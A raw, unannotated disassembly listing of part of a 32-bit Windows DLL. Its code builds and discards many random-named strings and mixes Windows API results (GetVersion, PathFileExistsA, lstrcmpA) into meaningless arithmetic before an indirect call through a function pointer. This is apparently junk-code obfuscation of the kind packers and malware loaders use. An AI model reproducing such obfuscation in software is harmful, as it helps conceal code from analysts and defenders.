mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov ecx, 0x1005ce14
call fcn.10005b00
cmp dword [ebp - 0x1c], eax
jae 0x1000ce08
push str.DOLXbSVGFfPFnYUtli
lea ecx, [ebp - 0xbf4]
call fcn.10002060
push str.qvfkvWVpOVkVzJisNDVtASEtlkwCYvMacEk
lea ecx, [ebp - 0xbdc]
call fcn.10002060
push str.vkFLtJWZGeF
lea ecx, [ebp - 0xbc4]
call fcn.10002060
push str.UadFujyuoKpxovXmgDWNIECItxhWPK
lea ecx, [ebp - 0xbac]
call fcn.10002060
push str.VJxsOxq
lea ecx, [ebp - 0xb94]
call fcn.10002060
push str.YmhlRfRlbsylhcnIuvejkJI
lea ecx, [ebp - 0xb7c]
call fcn.10002060
push str.feezkCYesDRDPGvRy
lea ecx, [ebp - 0xb64]
call fcn.10002060
lea ecx, [ebp - 0xb64]
call fcn.10002340
lea ecx, [ebp - 0xb7c]
call fcn.10002340
lea ecx, [ebp - 0xb94]
call fcn.10002340
lea ecx, [ebp - 0xbac]
call fcn.10002340
lea ecx, [ebp - 0xbc4]
call fcn.10002340
lea ecx, [ebp - 0xbdc]
call fcn.10002340
lea ecx, [ebp - 0xbf4]
call fcn.10002340
jmp 0x1000cd2a
mov dword [ebp - 0x20], 0
jmp 0x1000ce1a
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, 0x1005ce14
call fcn.10005b00
cmp dword [ebp - 0x20], eax
jae 0x1000cf40
push 0x100282dc
lea ecx, [ebp - 0xce4]
call fcn.10002060
push 0x100282e8
lea ecx, [ebp - 0xccc]
call fcn.10002060
push 0x10028304
lea ecx, [ebp - 0xcb4]
call fcn.10002060
push 0x10028314
lea ecx, [ebp - 0xc9c]
call fcn.10002060
push 0x10028330
lea ecx, [ebp - 0xc84]
call fcn.10002060
push 0x10028358
lea ecx, [ebp - 0xc6c]
call fcn.10002060
push 0x10028374
lea ecx, [ebp - 0xc54]
call fcn.10002060
push 0x1002839c
lea ecx, [ebp - 0xc3c]
call fcn.10002060
push 0x100283b4
lea ecx, [ebp - 0xc24]
call fcn.10002060
push 0x100283bc
lea ecx, [ebp - 0xc0c]
call fcn.10002060
lea ecx, [ebp - 0xc0c]
call fcn.10002340
lea ecx, [ebp - 0xc24]
call fcn.10002340
lea ecx, [ebp - 0xc3c]
call fcn.10002340
lea ecx, [ebp - 0xc54]
call fcn.10002340
lea ecx, [ebp - 0xc6c]
call fcn.10002340
lea ecx, [ebp - 0xc84]
call fcn.10002340
lea ecx, [ebp - 0xc9c]
call fcn.10002340
lea ecx, [ebp - 0xcb4]
call fcn.10002340
lea ecx, [ebp - 0xccc]
call fcn.10002340
lea ecx, [ebp - 0xce4]
call fcn.10002340
jmp 0x1000ce11
push 0x1005ccd0
push 0x1005ccb8
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000cf62
mov dword [ebp - 0x80], 1
jmp 0x1000cf69
mov dword [ebp - 0x80], 0
mov edx, dword [0x10036024]
imul edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x80]
jle 0x1000cf89
lea eax, [ebp - 0x210]
push eax
mov ecx, 0x1005cdfc
call fcn.10006760
push 0x1005cd78
lea ecx, [ebp - 0x234]
push ecx
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000cfb0
mov dword [ebp - 0x84], 1
jmp 0x1000cfba
mov dword [ebp - 0x84], 0
mov eax, dword [0x10036048]
imul eax, dword [0x10036028]
cmp eax, dword [ebp - 0x84]
jg 0x1000d04c
lea ecx, [ebp - 0x68]
call fcn.10005ae0
cmp eax, 0xc5
jae 0x1000d04c
lea ecx, [ebp - 0x108]
push ecx
push 0x1005cdc0
push 0x1005cbf8
push 0x1005cc40
lea edx, [ebp - 0xd2c]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0xd14]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
lea ecx, [ebp - 0xcfc]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea ecx, [ebp - 0x68]
call fcn.10006720
lea ecx, [ebp - 0xcfc]
call fcn.10002340
lea ecx, [ebp - 0xd14]
call fcn.10002340
lea ecx, [ebp - 0xd2c]
call fcn.10002340
push 0
push 0x100283c4
mov ecx, 0x1005cdc0
call fcn.10008300
mov esi, eax
push 0x100283c8
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor esi, eax
mov dword [0x10036050], esi
push 0x5f
push 0
lea edx, [ebp - 0xd5c]
push edx
mov ecx, 0x1005cdc0
call fcn.10009040
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x130], eax
push 0x41
push 0
lea eax, [ebp - 0xd44]
push eax
mov ecx, 0x1005cd00
call fcn.10009040
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
add eax, esi
mov dword [0x10036028], eax
lea ecx, [ebp - 0xd44]
call fcn.10002340
lea ecx, [ebp - 0xd5c]
call fcn.10002340
mov ecx, 0x1005cd00
call fcn.10005610
mov dword [ebp - 0x138], eax
push str.DKGY
lea ecx, [ebp - 0xd74]
call fcn.10002060
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x13c], eax
movsd xmm0, qword [0x1002bcd0]
call fcn.1001abe0
cvttsd2si esi, xmm0
mov eax, dword [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov edi, eax
mov ecx, 0x1005cc88
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub eax, edi
add eax, esi
mov dword [ebp - 0x144], eax
mov edx, dword [0x1003602c]
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
add eax, dword [ebp - 0x144]
mov dword [0x1003602c], eax
lea ecx, [ebp - 0xd74]
call fcn.10002340
push 0x1005ce14
mov ecx, 0x1005cdd8
call fcn.10005b50
mov ecx, 0x1005ccb8
call fcn.10005610
mov dword [ebp - 0x148], eax
push str.aFAZSanl
lea ecx, [ebp - 0xd8c]
call fcn.10002060
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x14c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov ecx, dword [ebp - 0x148]
push ecx
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov edi, eax
add edi, esi
push str.wHqRBhhKN
lea ecx, [ebp - 0xf0]
call fcn.10007ae0
xor eax, dword [ebp + 8]
xor eax, edi
mov dword [ebp - 0x154], eax
mov eax, dword [0x10036024]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x150]
sub ecx, dword [ebp - 0x154]
mov dword [0x10036024], ecx
lea ecx, [ebp - 0xd8c]
call fcn.10002340
push 0x10028438
lea ecx, [ebp - 0xdbc]
call fcn.10002060
mov dword [ebp - 0x15c], eax
push str.DdPhWZDH
lea ecx, [ebp - 0xda4]
call fcn.10002060
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x158], eax
mov edx, dword [ebp - 0x158]
push edx
mov ecx, dword [ebp - 0x15c]
call fcn.10007ae0
mov esi, eax
mov ecx, 0x1005ccd0
call fcn.10008200
movzx eax, al
xor esi, eax
mov dword [0x10036028], esi
lea ecx, [ebp - 0xda4]
call fcn.10002340
lea ecx, [ebp - 0xdbc]
call fcn.10002340
push 0x1005ce14
mov ecx, 0x1005ce08
call fcn.10006760
mov dword [ebp - 0x180], 1
push 0x1005cd90
lea ecx, [ebp - 0x68]
push ecx
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000d2d9
push 0x1005ce14
mov ecx, 0x1005cdfc
call fcn.10006760
push 0x1005ce14
mov ecx, 0x1005ce20
call fcn.10006760
mov eax, dword [ebp - 8]
mov ecx, dword [0x1003603c]
sar eax, cl
test eax, eax
je 0x1000d375
mov ecx, 0x1005cd48
call fcn.10005ae0
cmp eax, 0x19
jae 0x1000d375
push 0x1005cd78
push 0x1005cd60
push 0x1005ccb8
push 0x1005ccd0
lea ecx, [ebp - 0xe04]
push ecx
call fcn.10004600
add esp, 0xc
push eax
lea edx, [ebp - 0xdec]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
lea eax, [ebp - 0xdd4]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cd48
call fcn.10006720
lea ecx, [ebp - 0xdd4]
call fcn.10002340
lea ecx, [ebp - 0xdec]
call fcn.10002340
lea ecx, [ebp - 0xe04]
call fcn.10002340
mov ecx, 0x1005cbf8
call fcn.10005ae0
cmp eax, 0xa5
jae 0x1000d3f7
push 0x1005cbe0
push 0x1005cd30
push 0x1005cd30
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0xe4c]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0xe34]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
lea ecx, [ebp - 0xe1c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbf8
call fcn.10006720
lea ecx, [ebp - 0xe1c]
call fcn.10002340
lea ecx, [ebp - 0xe34]
call fcn.10002340
lea ecx, [ebp - 0xe4c]
call fcn.10002340
push 0x30
push 0
lea edx, [ebp - 0xe64]
push edx
mov ecx, 0x1005cd00
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [ebp - 0x164], eax
mov eax, dword [section..data]
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x160]
add ecx, dword [ebp - 0x164]
mov dword [section..data], ecx
lea ecx, [ebp - 0xe64]
call fcn.10002340
movsd xmm0, qword [0x1002bd10]
call fcn.1001aa20
cvttsd2si esi, xmm0
push str.DbpJndap
lea ecx, [ebp - 0xe7c]
call fcn.10002060
mov ecx, eax
call fcn.10007a50
xor esi, eax
mov dword [ebp - 0x16c], esi
mov edx, dword [0x10036008]
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x168]
add eax, dword [ebp - 0x16c]
mov dword [0x10036008], eax
lea ecx, [ebp - 0xe7c]
call fcn.10002340
push 0x1005cd90
push 0x1005ccd0
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000d4e9
mov ecx, 0x1005cdc0
call fcn.10008200
movzx edx, al
mov dword [ebp - 0x174], edx
mov eax, dword [0x10036028]
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0x174]
mov dword [0x10036028], ecx
lea ecx, [ebp - 0x50]
call fcn.10005630
lea ecx, [ebp - 0x50]
call fcn.10005630
mov edx, dword [section..data]
add edx, dword [0x1003601c]
mov eax, dword [0x10036034]
mov ecx, dword [0x10036008]
shl eax, cl
cmp edx, eax
jge 0x1000d554
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, eax
push 0x34
push 0
lea ecx, [ebp - 0xe94]
push ecx
mov ecx, 0x1005cc88
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
add esi, eax
mov dword [0x10036024], esi
lea ecx, [ebp - 0xe94]
call fcn.10002340
mov dword [ebp - 0x24], 0
jmp 0x1000d566
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov ecx, 0x1005cdfc
call fcn.10005b00
cmp dword [ebp - 0x24], eax
jae 0x1000d806
push str.pPBiNEMmbqRhYsCrOkTbHbrtjvtC
lea ecx, [ebp - 0x10d4]
call fcn.10002060
push 0x10028474
lea ecx, [ebp - 0x10bc]
call fcn.10002060
push str.wUqYTSMOwrAUiCGFdSPcBOKDRpNWzUWIqpec
lea ecx, [ebp - 0x10a4]
call fcn.10002060
push str.TqwbihKhplXEZYnOroqoQmWevsBmeD
lea ecx, [ebp - 0x108c]
call fcn.10002060
push str.yTlmELUzMBegSiIPZlkfwLNbNVsFAtonZYp
lea ecx, [ebp - 0x1074]
call fcn.10002060
push str.REKZGnKGyMwpMdsvGuPkQhdLjdX
lea ecx, [ebp - 0x105c]
call fcn.10002060
push str.wkVvSOrxedMj
lea ecx, [ebp - 0x1044]
call fcn.10002060
push str.ZEBsZXuHyeTNjONQPRVbQfsfbaiJQr
lea ecx, [ebp - 0x102c]
call fcn.10002060
push str.wBwwNEdGjmveXwhAKQUTivyBbnXHBTG
lea ecx, [ebp - 0x1014]
call fcn.10002060
push str.IsdOJgJudxGluYJtKarVXrJXmnINhyJGArR
lea ecx, [ebp - 0xffc]
call fcn.10002060
push str.cddbKhXJhTHuEmWAuMgHxCbKztWpEvNBOK
lea ecx, [ebp - 0xfe4]
call fcn.10002060
push str.IulRfZFFBVmIcZQFLtsilQRH
lea ecx, [ebp - 0xfcc]
call fcn.10002060
push str.modhfbqusEpYGcNYwHgD
lea ecx, [ebp - 0xfb4]
call fcn.10002060
push str.hPdmdpYjNkoexkxenjx
lea ecx, [ebp - 0xf9c]
call fcn.10002060
push str.iUBBtNlCe
lea ecx, [ebp - 0xf84]
call fcn.10002060
push str.lTQtIySP
lea ecx, [ebp - 0xf6c]
call fcn.10002060
push str.PNWJArIhfeVGcARVvXIlGXPobKuVsNob
lea ecx, [ebp - 0xf54]
call fcn.10002060
push str.PAHBPNDBWnzDTiIYGqBJaZSV
lea ecx, [ebp - 0xf3c]
call fcn.10002060
push str.TWnLEeFgHmUjndTgCZMXkwbkQOHRwBzJzAoylIL
lea ecx, [ebp - 0xf24]
call fcn.10002060
push str.MpYwQywhowmGzw
lea ecx, [ebp - 0xf0c]
call fcn.10002060
push str.xTmDHXpoTNfKKbzLh
lea ecx, [ebp - 0xef4]
call fcn.10002060
push str.SXjRQeTfIsOUywEXPGptAzphZNfUMtKwhVPh
lea ecx, [ebp - 0xedc]
call fcn.10002060
push str.jlTptrQHzySMmbTufYYlxopGBCx
lea ecx, [ebp - 0xec4]
call fcn.10002060
push str.yTUmVzjWrAlImAptvSZppJpBhndxqPVqywKp
lea ecx, [ebp - 0xeac]
call fcn.10002060
lea ecx, [ebp - 0xeac]
call fcn.10002340
lea ecx, [ebp - 0xec4]
call fcn.10002340
lea ecx, [ebp - 0xedc]
call fcn.10002340
lea ecx, [ebp - 0xef4]
call fcn.10002340
lea ecx, [ebp - 0xf0c]
call fcn.10002340
lea ecx, [ebp - 0xf24]
call fcn.10002340
lea ecx, [ebp - 0xf3c]
call fcn.10002340
lea ecx, [ebp - 0xf54]
call fcn.10002340
lea ecx, [ebp - 0xf6c]
call fcn.10002340
lea ecx, [ebp - 0xf84]
call fcn.10002340
lea ecx, [ebp - 0xf9c]
call fcn.10002340
lea ecx, [ebp - 0xfb4]
call fcn.10002340
lea ecx, [ebp - 0xfcc]
call fcn.10002340
lea ecx, [ebp - 0xfe4]
call fcn.10002340
lea ecx, [ebp - 0xffc]
call fcn.10002340
lea ecx, [ebp - 0x1014]
call fcn.10002340
lea ecx, [ebp - 0x102c]
call fcn.10002340
lea ecx, [ebp - 0x1044]
call fcn.10002340
lea ecx, [ebp - 0x105c]
call fcn.10002340
lea ecx, [ebp - 0x1074]
call fcn.10002340
lea ecx, [ebp - 0x108c]
call fcn.10002340
lea ecx, [ebp - 0x10a4]
call fcn.10002340
lea ecx, [ebp - 0x10bc]
call fcn.10002340
lea ecx, [ebp - 0x10d4]
call fcn.10002340
jmp 0x1000d55d
mov ecx, 0x1005cbe0
call fcn.10005ae0
cmp eax, 0x59
jae 0x1000d884
push 0x1005cd30
push 0x1005cdc0
push 0x1005cc10
push 0x1005cc58
lea eax, [ebp - 0x111c]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x1104]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x10ec]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbe0
call fcn.10006720
lea ecx, [ebp - 0x10ec]
call fcn.10002340
lea ecx, [ebp - 0x1104]
call fcn.10002340
lea ecx, [ebp - 0x111c]
call fcn.10002340
push 0x30
push 0
lea eax, [ebp - 0x1134]
push eax
mov ecx, 0x1005cd00
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
xor eax, dword [0x10036038]
mov dword [ebp - 0x17c], eax
mov ecx, dword [0x10036048]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x178]
add edx, dword [ebp - 0x17c]
mov dword [0x10036048], edx
lea ecx, [ebp - 0x1134]
call fcn.10002340
mov ecx, 0x1005ce08
call fcn.10005630
mov eax, dword [0x1005cb60]
mov dword [ebp - 0x184], eax
push 0
mov ecx, dword [ebp - 0x180]
push ecx
mov edx, dword [0x1005cb5c]
push edx
call dword [ebp - 0x184]
mov dword [0x1005cb58], eax
mov ecx, 0x1005cbe0
call fcn.10005ae0
cmp eax, 0x1a
jae 0x1000d96a
push 0x1005cd30
push 0x1005cca0
push 0x1005cd60
lea eax, [ebp - 0x1164]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x114c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbe0
call fcn.10006720
lea ecx, [ebp - 0x114c]
call fcn.10002340
lea ecx, [ebp - 0x1164]
call fcn.10002340
mov edx, dword [ebp - 4]
xor edx, dword [0x10036038]
mov eax, dword [0x10036044]
xor eax, dword [ebp - 0x188]
cmp edx, eax
jge 0x1000d9c0
mov ecx, 0x1005ccd0
call fcn.10005ae0
cmp eax, 0x37
jae 0x1000d9c0
push 0x1005cbf8
push 0x1005cce8
lea ecx, [ebp - 0x117c]
push ecx
call fcn.10004600
add esp, 0xc
push eax
mov ecx, 0x1005ccd0
call fcn.10006720
lea ecx, [ebp - 0x117c]
call fcn.10002340
mov dword [ebp - 0x28], 0
jmp 0x1000d9d2
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov ecx, 0x1005ce20
call fcn.10005b00
cmp dword [ebp - 0x28], eax
jae 0x1000dc57
push str.GfhLfxRNEitVAMkCC
lea ecx, [ebp - 0x13a4]
call fcn.10002060
push str.JQGpWKsIhzSnZdkSRYclBCotPANYTrLsN
lea ecx, [ebp - 0x138c]
call fcn.10002060
push str.iOzNDVWltYsqdlPH
lea ecx, [ebp - 0x1374]
call fcn.10002060
push str.GOfzhjmVYqBcYUWRdhPyhPbngoo
lea ecx, [ebp - 0x135c]
call fcn.10002060
push str.RovKycMmuqAxJXmOhHVdxAxC
lea ecx, [ebp - 0x1344]
call fcn.10002060
push str.LsVrahfreFheiXJLErBTcVPbfUSOywRiDFnU
lea ecx, [ebp - 0x132c]
call fcn.10002060
push str.YsTsemGeBJOXwUPojAhOxUtgHG
lea ecx, [ebp - 0x1314]
call fcn.10002060
push str.tRyfQervfnXXxCppjaQXSgR
lea ecx, [ebp - 0x12fc]
call fcn.10002060
push str.fqDnNyZiWuOPXW
lea ecx, [ebp - 0x12e4]
call fcn.10002060
push str.HphhDVmqrhfvtx
lea ecx, [ebp - 0x12cc]
call fcn.10002060
push str.sjfzKPYqnDbFXyNCFbLgwNVtpphzigmOp
lea ecx, [ebp - 0x12b4]
call fcn.10002060
push str.GwDlRIHjOynInKww
lea ecx, [ebp - 0x129c]
call fcn.10002060
push str.vCvyyQUwCccqmdnaFAhVhs
lea ecx, [ebp - 0x1284]
call fcn.10002060
push str.rfrUBwukNDfxXBQgEzFHwx
lea ecx, [ebp - 0x126c]
call fcn.10002060
push str.lEeFFRVev
lea ecx, [ebp - 0x1254]
call fcn.10002060
push str.fckuBCGaUoZkoqjrbqt
lea ecx, [ebp - 0x123c]
call fcn.10002060
push str.rUuEyHAPOcrAbAelzseyDiEsHiZdMUUmyNHCmyU
lea ecx, [ebp - 0x1224]
call fcn.10002060
push str.uBNqHvWAgtZuAsLEcWlyuGlNJx
lea ecx, [ebp - 0x120c]
call fcn.10002060
push str.UjtVlGXtWnXfMTXRyOrnaUxTGM
lea ecx, [ebp - 0x11f4]
call fcn.10002060
push str.ywtTfoLhUNRcsXkmGVWMT
lea ecx, [ebp - 0x11dc]
call fcn.10002060
push str.KMSqALqfjmzZXvtnlGehXixaUhMTvWMEOLDT
lea ecx, [ebp - 0x11c4]
call fcn.10002060
push str.vwRkLkmlPTEZhYCiouEeGfsMrUPbSAZFboSHtt
lea ecx, [ebp - 0x11ac]
call fcn.10002060
push str.VtnuFMgSMKumGBLzVzSNOQESKooAkC
lea ecx, [ebp - 0x1194]
call fcn.10002060
lea ecx, [ebp - 0x1194]
call fcn.10002340
lea ecx, [ebp - 0x11ac]
call fcn.10002340
lea ecx, [ebp - 0x11c4]
call fcn.10002340
lea ecx, [ebp - 0x11dc]
call fcn.10002340
lea ecx, [ebp - 0x11f4]
call fcn.10002340
lea ecx, [ebp - 0x120c]
call fcn.10002340
lea ecx, [ebp - 0x1224]
call fcn.10002340
lea ecx, [ebp - 0x123c]
call fcn.10002340
lea ecx, [ebp - 0x1254]
call fcn.10002340
lea ecx, [ebp - 0x126c]
call fcn.10002340
lea ecx, [ebp - 0x1284]
call fcn.10002340
lea ecx, [ebp - 0x129c]
call fcn.10002340
lea ecx, [ebp - 0x12b4]
call fcn.10002340
lea ecx, [ebp - 0x12cc]
call fcn.10002340
lea ecx, [ebp - 0x12e4]
call fcn.10002340
lea ecx, [ebp - 0x12fc]
call fcn.10002340
lea ecx, [ebp - 0x1314]
call fcn.10002340
lea ecx, [ebp - 0x132c]
call fcn.10002340
lea ecx, [ebp - 0x1344]
call fcn.10002340
lea ecx, [ebp - 0x135c]
call fcn.10002340
lea ecx, [ebp - 0x1374]
call fcn.10002340
lea ecx, [ebp - 0x138c]
call fcn.10002340
lea ecx, [ebp - 0x13a4]
call fcn.10002340
jmp 0x1000d9c9
mov ecx, 0x1005cd78
call fcn.10005ae0
cmp eax, 0x76
jae 0x1000dcb6
push 0x1005cdc0
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x13d4]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0x13bc]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cd78
call fcn.10006720
lea ecx, [ebp - 0x13bc]
call fcn.10002340
lea ecx, [ebp - 0x13d4]
call fcn.10002340
push str.EDSywJlQMFgLTzyaXXfIsFpTMWapdkFoyFYHlw
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add eax, dword [0x1003603c]
mov dword [ebp - 0x190], eax
mov ecx, dword [0x10036020]
mov dword [ebp - 0x18c], ecx
mov edx, dword [ebp - 0x18c]
add edx, dword [ebp - 0x190]
mov dword [0x10036020], edx
mov ecx, 0x1005cd18
call fcn.10005ae0
cmp eax, 0x32
jae 0x1000dd29
push 0x1005cca0
push 0x1005cc70
lea eax, [ebp - 0x13ec]
push eax
call fcn.10004600
add esp, 0xc
push eax
mov ecx, 0x1005cd18
call fcn.10006720
lea ecx, [ebp - 0x13ec]
call fcn.10002340
push 0x1005cdf0
mov ecx, 0x1005cde4
call fcn.10006760
lea ecx, [ebp - 0x210]
call fcn.10005630
mov ecx, 0x1005cd90
call fcn.10005ae0
cmp eax, 0x8a
jae 0x1000dd83
push 0x1005cdc0
push 0x1005cd48
lea ecx, [ebp - 0x1404]
push ecx
call fcn.10004600
add esp, 0xc
push eax
mov ecx, 0x1005cd90
call fcn.10006720
lea ecx, [ebp - 0x1404]
call fcn.10002340
mov ecx, 0x1005cc88
call fcn.10005ae0
cmp eax, 0xac
jae 0x1000de07
push 0x1005cc28
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0xf0]
push eax
push 0x1005cdc0
lea ecx, [ebp - 0x144c]
push ecx
call fcn.10004600
add esp, 0xc
push eax
lea edx, [ebp - 0x1434]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
lea eax, [ebp - 0x141c]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cc88
call fcn.10006720
lea ecx, [ebp - 0x141c]
call fcn.10002340
lea ecx, [ebp - 0x1434]
call fcn.10002340
lea ecx, [ebp - 0x144c]
call fcn.10002340
push 0x48
push 0
lea ecx, [ebp - 0x1464]
push ecx
mov ecx, 0x1005cd60
call fcn.10009040
mov ecx, eax
call fcn.10007a70
lea ecx, [ebp - 0x1464]
call fcn.10002340
lea edx, [ebp - 0x68]
push edx
push 0x1005cd18
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000de52
mov dword [ebp - 0x90], 1
jmp 0x1000de5c
mov dword [ebp - 0x90], 0
push 0x1005cd00
push 0x1005cd60
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000de81
mov dword [ebp - 0x88], 1
jmp 0x1000de8b
mov dword [ebp - 0x88], 0
push 0x1005cca0
push 0x1005ccd0
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000deb0
mov dword [ebp - 0x8c], 1
jmp 0x1000deba
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x8c]
jle 0x1000ded4
mov dword [ebp - 0x94], 1
jmp 0x1000dede
mov dword [ebp - 0x94], 0
mov ecx, dword [ebp - 0x90]
cmp ecx, dword [ebp - 0x94]
jne 0x1000e0ca
mov dword [ebp - 0x2c], 0
jmp 0x1000df02
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov ecx, 0x1005cdf0
call fcn.10005b00
cmp dword [ebp - 0x2c], eax
jae 0x1000e0ca
push 0x100289b0
lea ecx, [ebp - 0x15e4]
call fcn.10002060
push 0x100289c8
lea ecx, [ebp - 0x15cc]
call fcn.10002060
push 0x100289dc
lea ecx, [ebp - 0x15b4]
call fcn.10002060
push 0x10028a04
lea ecx, [ebp - 0x159c]
call fcn.10002060
push 0x10028a10
lea ecx, [ebp - 0x1584]
call fcn.10002060
push 0x10028a1c
lea ecx, [ebp - 0x156c]
call fcn.10002060
push 0x10028a24
lea ecx, [ebp - 0x1554]
call fcn.10002060
push 0x10028a34
lea ecx, [ebp - 0x153c]
call fcn.10002060
push 0x10028a50
lea ecx, [ebp - 0x1524]
call fcn.10002060
push 0x10028a74
lea ecx, [ebp - 0x150c]
call fcn.10002060
push 0x10028a80
lea ecx, [ebp - 0x14f4]
call fcn.10002060
push 0x10028a94
lea ecx, [ebp - 0x14dc]
call fcn.10002060
push 0x10028a98
lea ecx, [ebp - 0x14c4]
call fcn.10002060
push 0x10028abc
lea ecx, [ebp - 0x14ac]
call fcn.10002060
push 0x10028adc
lea ecx, [ebp - 0x1494]
call fcn.10002060
push 0x10028af0
lea ecx, [ebp - 0x147c]
call fcn.10002060
lea ecx, [ebp - 0x147c]
call fcn.10002340
lea ecx, [ebp - 0x1494]
call fcn.10002340
lea ecx, [ebp - 0x14ac]
call fcn.10002340
lea ecx, [ebp - 0x14c4]
call fcn.10002340
lea ecx, [ebp - 0x14dc]
call fcn.10002340
lea ecx, [ebp - 0x14f4]
call fcn.10002340
lea ecx, [ebp - 0x150c]
call fcn.10002340
lea ecx, [ebp - 0x1524]
call fcn.10002340
lea ecx, [ebp - 0x153c]
call fcn.10002340
lea ecx, [ebp - 0x1554]
call fcn.10002340
lea ecx, [ebp - 0x156c]
call fcn.10002340
lea ecx, [ebp - 0x1584]
call fcn.10002340
lea ecx, [ebp - 0x159c]
call fcn.10002340
lea ecx, [ebp - 0x15b4]
call fcn.10002340
lea ecx, [ebp - 0x15cc]
call fcn.10002340
lea ecx, [ebp - 0x15e4]
call fcn.10002340
jmp 0x1000def9
push 0x1005ce20
mov ecx, 0x1005cdfc
call fcn.10006760
mov eax, dword [0x1005cb58]
add eax, 0x698d
mov dword [0x1005cb64], eax
mov ecx, dword [ebp + 0x10]
xor ecx, dword [0x10036004]
mov edx, dword [ebp - 4]
sub edx, ecx
mov dword [ebp - 4], edx
mov ecx, 0x1005ce08
call fcn.10005630
mov dword [ebp - 0x30], 0
jmp 0x1000e115
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, 0x1005cdd8
call fcn.10005b00
cmp dword [ebp - 0x30], eax
jae 0x1000e2a7
push str.mzAI
lea ecx, [ebp - 0x1734]
call fcn.10002060
push str.HBgjljtMORSZkgBYnZfmccEaPnlGFrrMOpfI
lea ecx, [ebp - 0x171c]
call fcn.10002060
push str.nsYvkgmEheYFH
lea ecx, [ebp - 0x1704]
call fcn.10002060
push str.HheVudSQppgKZbrCwNURDwILESntdscQ
lea ecx, [ebp - 0x16ec]
call fcn.10002060
push str.eyLWqITqbVLJENNFkzZMIo
lea ecx, [ebp - 0x16d4]
call fcn.10002060
push str.OSkcMsSTJczXzoAEK
lea ecx, [ebp - 0x16bc]
call fcn.10002060
push str.RiAurOihHKoKxBtBPXpbZbcBsRcvEuWUbgj
lea ecx, [ebp - 0x16a4]
call fcn.10002060
push str.hEMKQUFTBFmQAmAG
lea ecx, [ebp - 0x168c]
call fcn.10002060
push str.nijccqkWTGiVXgJRwThKNeJhUNqXSuzczVxpdRw
lea ecx, [ebp - 0x1674]
call fcn.10002060
push str.kdGxhKPXuve
lea ecx, [ebp - 0x165c]
call fcn.10002060
push str.LaIHrgaRANcLCsZjeoxBtZ
lea ecx, [ebp - 0x1644]
call fcn.10002060
